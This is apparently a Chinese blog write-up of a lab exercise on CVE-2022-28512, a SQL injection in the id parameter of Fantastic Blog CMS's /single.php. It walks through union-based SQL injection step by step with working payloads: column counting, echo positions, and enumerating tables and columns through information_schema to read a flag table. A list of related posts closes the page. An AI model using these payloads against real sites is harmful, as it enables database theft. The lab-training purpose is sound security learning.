春秋云境——CVE-2022-28512

靶标介绍:

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

1. 初始访问测试

正常请求文章接口,页面正常返回文章内容:

?id=5

2. 注入类型判断

尝试单引号闭合测试,页面报错/内容异常,证明参数被单引号包裹,为字符型注入,而非初始判断的数字型注入。

3. 查询字段数探测(Order By)

通过 order by 逐级猜测查询字段数量,最终确认该查询语句共 9个字段,只有字段数量一致,联合查询才能正常执行。

4. 显式回显位探测

使用负数id闭合,规避原有文章数据干扰,探测页面回显位置:

复制代码
?id=-5' union select 1,2,3,4,5,6,7,8,9--+

测试得出页面可正常回显查询数据,具备Union联合查询条件。

5. 查询当前数据库名

将 database() 放置回显位,获取当前网站数据库名称:

复制代码
?id=-5' union select 1,2,3,database(),5,6,7,8,9--+

6. 爆表名(当前数据库所有数据表)

使用 group_concat() 函数解决页面Limit单行限制,一次性拼接输出所有表名,避免数据截断遗漏:

如果出现多行只显示一张表(limit 限制)

使用 group_concat() 拼接所有表,一次性全部输出

复制代码
?id=-5' union select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=database()--+

7. 爆列名(查询数据表字段)

以核心用户表flag,

复制代码
?id=-5' union select 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name='flag'--+

8.读取flag专属表数据

复制代码
?id=-5' union select 1,group_concat(flag),3,4,5,6,7,8,9 from flag--+
相关推荐
花青泽6 小时前
子域名基础04_DNS数据与记录
web安全
hasty8 小时前
2026-10-04_ABSENTIA鉴权不变量审计_CSDN_待发布
安全
写后端的胖头鱼8 小时前
【高频面试题】FullText 全文索引(MySQL)
数据库·mysql·索引·全文索引
路远的数据库笔记9 小时前
SQL Server迁移国产数据库怎么做?九套口岸库零停机割接实战
数据库·经验分享·sqlserver·dba
樱花落木兰9 小时前
分布式登录实战:Session 会话共享改造,Redis 存储用户登录状态
java·javascript·数据库·redis·分布式·缓存
kaiyou20269 小时前
用户研究岗秋招,统计分析能力怎么学习和证明?
数据库·python·学习
mjhcsp9 小时前
DeepSeek V4.1 Flash 批量处理效能实测
java·前端·数据库
ShineWinsu9 小时前
对于Redis:Steam、Geospatial、Hyperloglog、Bitmap、Bitfield类型的解析
数据库·c++·redis·分布式·缓存·面试·zset
花青泽9 小时前
第2章_阶段1_准备
web安全
lie..10 小时前
30天从零开始学AI应用开发(Day 17):ChromaDB 上手:给本地文档建一个“外挂大脑”
数据库·人工智能·oracle